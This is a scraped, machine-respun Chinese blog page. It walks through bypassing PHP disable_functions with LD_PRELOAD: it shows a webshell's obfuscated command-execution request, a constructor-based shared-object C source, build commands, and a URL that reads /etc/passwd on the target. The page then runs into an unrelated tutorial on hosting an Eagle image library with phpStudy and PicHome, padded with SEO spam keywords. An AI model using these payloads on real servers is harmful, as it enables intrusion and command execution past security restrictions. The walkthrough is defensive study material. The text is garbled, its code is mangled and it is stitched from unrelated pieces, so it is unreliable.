云php-《青腾云安全研究》绕过php的disable_functions(一)

今天无意中看到一篇文章,讲的是当php站点限制disable_functions时,如何通过LD_PRELOAD执行命令。 读完之后,我又转载了一遍,感觉自己收获颇多。

后来按照文中提到的思路,发现了其他的思路,尝试用各种坐姿来绕过disable_functions云php,所以才想写这篇文章。 最近也听说很多CTF也在考点添加了相关知识,所以在此记录一下~

第一部分主要讲解使用LD_PRELOAD绕过disable_functions的复现过程,后面的内容是关于绕过的其他坐姿。 根据文章的长度,决定是写第一部分还是分成两部分。

禁用功能

我们先来说说php.ini中的disable_functions。 这是PHP最初为了避免执行一些危险函数而给出的一个配置项,但默认为空。 也就是说,PHP官方认为哪些函数有风险是由开发者决定的,否则可能会影响项目的正常运行。

当然,意见是没有问题的。 毕竟,“你的蜂蜜和砒霜一样”不同开发者面临的需求和能力是相同的。 为了实现一些特殊的功能,就必须调用一些函数。 这些功能都是由php自己实现和提供的。 默认情况下,仅仅禁用它也会损害“世界上最好的语言”的声誉:)

因此,一些开发人员摆弄自己的非权威危险函数列表,例如:

系统、shell_exec、exec、passthru、phpinfo 等。

其实就是黑名单。 从事网络安全的人都知道,任何黑名单都有可能被绕过,尤其是当PHP这样灵活的语言,并与其他应用相结合时,绕过的可能性就更大了。 强,我今天读的文章提供了4个想法。

无需sendmail:巧用LDPRELOAD突破disablefunctions

()

1、攻击前端组件,寻找具有命令注入且Web应用中常用的前端组件,如ImageMagick的魔图漏洞、bash的破壳漏洞

2. 寻找漏网的非禁用功能。 执行命令的常用函数包括system()、exec()、shell_exec()、passthru()、remote popen()、proc_open()、pcntl_exec()

3. mod_cgi模式,尝试更改.htaccess,调整请求访问路由,绕过php.ini中的任何限制

4、利用环境变量LD_PRELOAD劫持系统函数,让外部程序加载恶意*.so,达到执行系统命令的效果

它们都是非常好的主意。 今天我们将重现文章中主要提到的第四个想法:使用LD_PRELOAD来绕过disable_functions。

环境结构

操作系统:Kali 2019.1

PHP版本:PHP 7.3.2-3web

目录:/root/disablefuncphp.ini

路径:/etc/php/7.3/cli/php.ini

为了节省时间,我懒得去配置apache或者nginx,直接使用php命令行指定web目录并运行。

php -S 0.0.0.0:8888

云php_php云系统破解版_php云招聘

对了,我一开始用的是6666端口,但是chrome浏览器打不开。 IE可以用firefox一探究竟,说它对web端口的使用极其严重,所以最后启动的时候我用了一个普通的web端口。 。

为了方便,这个目录下还留了两个文件phpinfo.php和webshel​​l.php,分别是phpinfo文件和一句木马(懒得写上传点了)。

再次修改php.ini,添加一些常见的危险函数

禁用函数 = 符号链接、show_source、系统、exec、passthru、shell_exec、popen、proc_open、proc_close、curl_exec、curl_multi_exec、pcntl_exec

重启php,看看效果

蚁剑,完美连接。

虚拟终端尝试执行命令怎么样?

返回的都是ret=127的错误,说明disable_functions已经生效了,至少蚁剑尝试过的命令都失败了,这正是我们想要的疗效。

原因分析

为什么蚁剑连接成功,可以连接并列出目录,但无法执行命令?

还是老规矩,在wireshark上抓包看,首先是第一次连接的HTTP数据包。

用我的话来说,木马连接的关键是metsec。 POST请求包的body部分url编码过多。 让我们简单地恢复它。

其中与目录/system/user相关的函数dirname、phpuname、getcurrentuser不在disablefunctions中。

尝试再次列出根目录文件,并查看此请求。

php云系统破解版_云php_php云招聘

其中filemtime、fileperms、readdir等与文件和目录相关的功能没有禁用

至于命令执行的请求包。

用来执行命令的函数是system、exec、passthru等我们长期以来统一的函数,所以想要实现命令执行自然是有难度的。

有些人可能好奇我输入的命令在哪里请求包。

0xd28d6b0ccb7e=Y2QgIi9yb290L2Rpc2FibGVmdW5jIjtscztlY2hvIFtTXTtwd2Q7ZWNobyBbRV0=&0xe5793956f2725=L2Jpbi9zaA==&meetsec=@iniset("显示错误", "0"); @settimelimit(0);header('HTTP/1.1 200 OK');echo "->|";$ p=base64decode($POST["0xe5793956f2725"]);$s=base64decode($POST["0xd28d6b0ccb7e"] );$d=dirname($SERVER["SCRIPTFILENAME"]);$c=substr($d,0 ,1)=="/"?"-c "{$s}"":"/c "{$s}"";$r="{$p} {$c}";函数 fe($f){$d=explode(",",@iniget("disablefunctions"));if (空($d)){$d=array();}else{$d=arraymap('trim',arraymap('strtolower',$d));}return(functionexists($f)&&iscallable($f) )&&!inarray($f,$d));};函数 runcmd($c){$ret= 0;if(fe('system')){@system($c,$ret);}elseif( fe('passthru')){@passthru($c,$ret);}elseif(fe('shellexec')){print(@shell_exec($c));}elseif(fe('exec')){ @exec($c,$o,$ret);print(join(" ",$o)); }elseif (fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp, 2048));}@ pclose($fp);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={ $ret}":"";;回声"|

其实这个请求主要是利用base64编码和字符串替换来实现简单的混淆。 解决完base64部分,替换成指定的字符串,就知道大概意思了。 这里就不详细说了,有兴趣的可以自行查找。

LD_PRELOAD 解释

关于LD_PRELOAD,虽然我在处理挖矿木马时也遇到过并写过文章,但主要目的是将/etc/ld.so.preload中的内容更改并隐藏为恶意动态链接库,从而达到隐藏的效果文件和进程。

不过这里的 LD_PRELOAD 是类似的:

LD_PRELOAD是用于动态库加载的环境变量。 动态库加载具有最高优先级。 一般来说,加载顺序是LDPRELOAD>LDLIBRARYPATH>/etc/ld.so.cache>/lib>/usr/lib。在程序中,我们经常需要调用外部库的一些函数。 以 open() 和 execve() 为例。 如果我们有这两个函数的自定义函数,将其编译成动态库并通过LDPRELOAD加载。 当程序调用 open 函数时,虽然是我们自定义的函数

也就是说,如果我们想改变某个函数测试的执行结果,可以使用LDPRELOAD环境变量,其中包含我们编译好的so文件,该文件中有一个同名的测试函数。 如果我们在执行的时候通过LDPRELOAD加载我们编译好的so文件,那么如果执行个别命令的时候调用了测试函数,那么我们编译的测试函数优先级最高,会最先执行。

简而言之,就是谁能先执行同名函数的问题。 有了LD_PRELOAD的加持,可以先执行。

有兴趣的朋友可以看看这篇文章

LD_PRELOAD 用法()

当然,如果我们想要劫持Linux系统命令的结果,首先要做的就是知道该命令可能调用哪些系统API,或者可执行文件的符号表,例如id命令。

readefl -Ws `哪个 id`

当然,这里要注意的是,这个命令的结果只代表可能调用的API,并不代表一定要调用云php,那么我们如何才能看到实际的调用情况呢?

strace -f `哪个 id` 2>&1

内容还很多,那么我们应该关注哪些内容呢?

由于被绑架的系统函数必须由我们重新实现,因此函数原型必须保持一致。 为了降低复杂度,我会选择绑架这些无参数且常用的系统函数,getuid()就适合。 以此为例,完成绑架过程步骤大致如下:首先使用man 2 getuid查看函数原型:

附:man 1,2,3含义

1是普通命令

2是系统调用,比如open、write之类的(通过这个至少可以方便的找出调用这个函数需要添加哪些头文件)

3是库函数,如printf、fread

既然getuid满足了我们绑架功能的要求,那么我们就尝试绑架一下吧。 首先写一段getuid的c源代码getuid_meetssec.c。

然后编译成64位共享动态链接库getuid_meetsec.so(不用管警告)

gcc -shared -fPIC getuid_meetsec.c -o getuid_meetsec.so -m64

参数含义如下:

如果要创建动态链接库,可以使用GCC的-shared选项。 输入文件可以是源文件、汇编文件或目标文件。

还必须结合 -fPIC 选项。 -fPIC选项作用于编译阶段,告诉编译器形成位置无关代码(Position-Independent Code); 这样,生成的代码中没有绝对地址,全部使用相对地址,因此代码可以被加载器加载。 显存中的任何位置都可以正确执行。 这正是共享库所需要的。 共享库加载时,在显存中的位置并不固定。

看看疗效,我们执行

LD_PRELOAD=/root/disablefunc/getuid_meetsec.so `哪个 id`

首先加载我们写的so文件

我的环境有问题,所以我会多次重复新添加的句子。

当然你也可以这样执行:

导出 LD_PRELOAD="./getuid_meetsec.so" id

效果是一样的,但是可怕的事情发生了。 这时所有的系统命令都会加载这个so,命令执行速度极其流​​畅。

很容易恢复。

php云招聘_php云系统破解版_云php

导出 LD_PRELOAD=NULL

顺便说一下,如果执行完上一句后输入任何命令,后面就会输出其他单词和句子,此时重新启动系统即可恢复正常。

php 和 LD_PRELOAD

上面主要从linux系统层面介绍了LD_PRELOAD的含义和用法,那么它和php有什么关系呢?

是的,因为很多php函数都可以启动一个新进程。 一旦一个新的进程启动,就必须调用系统API。 同时php是基于C语言开发的,linux也是基于C语言开发的,所以两者在功能实现上有相似之处。

那么我们要做的就是遍历php自带的函数,看看有多少个可以启动新进程。 当然启动的形式不能是exec、system、passthru等方式。

原文作者yangyangwithgnu经过耐心搜索,终于发现php中的mail函数可以在运行时通过execve启动一个新进程。

strace -f php mail.php 2>&1 |grep -A2 -B2 execve

我们可以使用php中的putenv函数来加载我们之前写的so文件。

putenv("LD_PRELOAD=/root/disablefunc/getuid_meetsec.so");

好了,说到这里,基本的命令执行的思路就有了。

我们可以先创建一个可执行命令的so文件,然后编译一个php文件来引用我们的so文件

当然,so文件的来源自然是先编译c源代码文件得到的,最好使用不依赖于操作系统环境的共享库。

但这里仍然存在一个问题。 在c源代码中,我们应该绑架哪个函数? 上面是以php的mail函数为例通过启动新进程来绑架getuid函数,但是从strace命令的结果来看。

邮件功能的使用取决于系统中是否存在sendmail命令

但并不一定系统中启用了sendmail,甚至根本没有安装。 如果是这样的话,我们就无法通过mail--sendmail--getuid这个链接来实现功能绑架了。

因此,我们应该考虑的不是绑架某个函数,而是考虑绑架一个共享对象。 以下是直接引用作者原文的描述:

回到LD_PRELOAD本身,系统通过它预加载共享对象。 如果我能找到一个表单在加载时执行代码而不考虑绑架系统功能,那么我就可以完全不依赖sendmail了。 这个场景和C++的构造函数类似! 经过多次查找,得知GCC有一个C语言扩展修饰符__attribute__((constructor)),可以让被它修饰的函数在main()之前执行。 如果出现在共享对象中,则一旦共享对象被系统加载,被 __attribute__((constructor)) 修饰的函数就会立即执行。

非常好的知识点,放弃绑架单一功能,改用更通用的共享对象,这就是本教程的核心点!

php云系统破解版_php云招聘_云php

这就是为什么教程的标题叫No Sendmail:使用LD_PRELOAD突破disable_functions。 基于以上思路,作者给出了php pony和c源码项目的源码。

绕过_disablefunc.php

bypass_disablefunc.php 提供了三个 GET 参数。

1、cmd参数,要执行的系统命令(如pwd); 2.outpath参数,保存命令执行输出结果的文件路径(如/tmp/xx),方便在页面上显示。 另外要注意这个参数web是否有读写权限,web是否可以跨目录访问,文件会被覆盖删除; 3、sopath参数指定了绑架系统功能的共享对象的绝对路径(如 /var/www/bypass_disablefunc_x64.so ),对于这个参数,需要注意web是否可以跨目录访问。 另外,bypass_disablefunc.php 将命令和输出路径连接成一个完整的命令行,因此您不需要在 cmd 参数中重定向: $evil_cmdline = $cmd 。 ”>“。 $out_path 。 “2>&1”;

同时通过环境变量EVILCMDLINE将具体的执行命令行信息传递给bypassdisablefunc_x64.so:

putenv("EVIL_CMDLINE=" . $evil_cmdline);

bypass_disablefunc.c

#define _GNU_SOURCE#include #include #include extern char** environ;__attribute__ ((__constructor__)) void preload (void){ // 获取命令行选项和参数 const char* cmdline = getenv("EVIL_CMDLINE"); // 取消设置环境变量 LD_PRELOAD。 // unsetenv("LD_PRELOAD") 对某些发行版没有影响(例如centos),我需要巧妙的技巧。 整数我; for (i = 0; environ[i]; ++i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = ''; } } } // 执行命令系统(cmdline);}

如果你是细心的人,你会发现这里的bypassdisablefunc.c(来自github)与教程中提到的不同。 它使用 for 循环将 LDPRELOAD 的第一个字符更改为 。 如果你稍微了解一下 C 语言就会知道 是 C 语言字符串的结尾。 注释中解释了原因:unsetenv("LDPRELOAD") 在某些 Linux 发行版(如 CentOS)中不一定生效。 这么一个小动作就可以让系统原有的LDPRELOAD环境变量被手动禁用。

然后从环境变量EVILCMDLINE中接收bypassdisablefunc.php传递过来的要执行的命令行。

使用命令 gcc -shared -fPICbypassdisablefunc.c -obypassdisablefuncx64.so 将bypassdisablefunc.c编译为共享对象bypassdisablefuncx64.so:

要根据目标架构编译成不同版本,请在x64环境下编译。 如果没有编译选项,则默认为x64。 如果要编译成x86架构,需要添加-m32选项。

然后我们使用Ant Sword将相关文件上传到我们的web目录中。

好的,我们来测试一下疗效

:8888/bypassdisablefunc.php?cmd=cat%20/etc/passwd&outpath=/tmp/xx&sopath=/root/disablefunc/bypassdisablefunc_x64.so

如果你不注意web进程的用户权限(读写、目录访问等),效果是很大的,其中sopath传入的是绝对路径。

非常好的文章,希望能多学习~

下一篇文章将尝试重现绕过disable_functions的其他思路,敬请期待~

参考链接

无需sendmail:巧用LDPRELOAD突破disablefunctions

警惕UNIX下的LD_PRELOAD环境变量

简单的 LD_PRELOAD 和 putenv()

TCTF2019 WallBreaker解析-轻松解题

近日,有男伴在后台给杨美君留言:

是否可以将Eagle照片库变成一个素材网站? 网上的教程很复杂,学不会!

明天杨美君就来给大家分享一下,一点实践经验~如果大家还有其他想学习的软件技能,记得在评论区留言哦!

使用自建素材网站,您可以轻松浏览或与局域网中的其他人共享素材。 您不妨尝试一下。 无需代码/编程知识,零基础即可学习!

下面以Windows笔记本电脑为例。

创建本地照片库

如果你是Eagle的老用户,相信你已经用它管理过很多图片素材了,那么你可以直接跳过这一步。

Eagle是一款专为设计师打造的素材收集/管理工具,支持macOS和Windows系统。 可以帮助用户高效整理项目案例、图片、视频、音频等资料。

软件提供多种浏览器扩展,可以帮助您快速采集网站上的图片素材并高效完成分类。

建站系统软件有哪些_php建站系统_建站系统CMS

37¥CZ0001wAOpd9u9bQj¥

笔记本直接访问链接,手机复制本段全部内容

用Eagle创建材质库后,会生成一个后缀为*.library的文件夹,记住它的位置路径,旁边就可以使用了。 (比如杨梅君的就是:C:Usershugodesignmaterial.library)

配置服务器环境

接下来,我们需要给普通Windows笔记本加一层“Server Buff”。 使用一些工具可以快速配置运行环境。 龙岩老师这里选择了phpStudy。

官网地址:

打开网站,找到phpStudyv8.1版本,点击“下载”按钮。 然后根据笔记本系统的实际情况选择合适的版本。

建站系统软件有哪些_建站系统CMS_php建站系统

下载完成后,安装并运行phpStudy。 点击WNMP后面的“启动”按钮,启动运行环境。 开机后点击“启用”按钮即可自动启动,环境即可随系统自动启动。

建立一个外联网网站

接下来我们需要使用开源工具PicHome。 可以理解为一个简单的网站框架,可以帮助我们快速搭建网站!

到达开源地址下载PicHome源码(找到并点击“Download Sourcecode(zip)”)。

下载链接:

解压后,你会得到一个名为“Pichome-1.1.01”的文件夹。 重命名为“Pichome”后,连接到phpStudy下的WWW目录。

返回 phpStudy 并单击“网站 > 创建网站”按钮。 域名栏填写:127.0.0.2。

在根目录一栏填写Pichome文件夹的路径(比如杨美君的就是:C:phpstudy_proWWWPichome)。

在 PHP 版本菜单中,安装并选择版本 7.4.3。 其他选项保持默认即可,点击“确定”。

php建站系统_建站系统软件有哪些_建站系统CMS

依次点击“管理>删除”按钮php建站系统,删除网站域名为localhost的条目,并确保网站域名为127.0.0.2的条目已成功启用。

点击“启用”,状态将切换为“正常”

网站初始化

设置网站信息

在服务器笔记本上,打开浏览器并访问:127.0.0.2。

依次点击“开始安装>下一步>下一步”php建站系统,在“填写数据库信息”和“填写管理员信息”页面中根据自己的需要输入相应的内容。

最后出现如右图所示的界面,即表示网站创建完成。

建站系统CMS_php建站系统_建站系统软件有哪些

导出库

点击右下角“进入首页”按钮(或再次访问127.0.0.2),输入上面设置的账户密码(填写管理员信息),完成登录。

依次点击“库设置 > 新建库”,在弹出的窗口中填写Eagle素材库的路径,然后点击“确定”。

返回库设置页面后,点击更新按钮开始导出素材。

导出完成后,您可以根据自己的需要设置是否启用共享/下载功能。

访问材料站点

教程到此结束! 在服务器笔记本上,再次使用浏览器访问127.0.0.2,仍然可以看到Eagle素材库中的所有图片。

建站系统软件有哪些_建站系统CMS_php建站系统

图像可按分类/标签/颜色/规格/添加时间等进行过滤。

对于局域网内的其他设备,打开浏览器直接访问服务器笔记本的外网地址(可以从系统设置中获取),还可以查看图库素材,非常方便!

Windows 设置 > 网络和 Internet > 以太网 > IPv4 地址

用手机浏览资料

使用平板电脑浏览/下载材料

期待Eagle4.0

值得一提的是,Eagle 4.0版本已经在路上了! 新版本将添加插件系统,开发者可以通过创建自定义插件来扩展Eagle的功能!

到时候,如果你想把老鹰照片库改造成一个素材网站,相信会比现在方便多了! 让我们一起期待新版本的到来吧~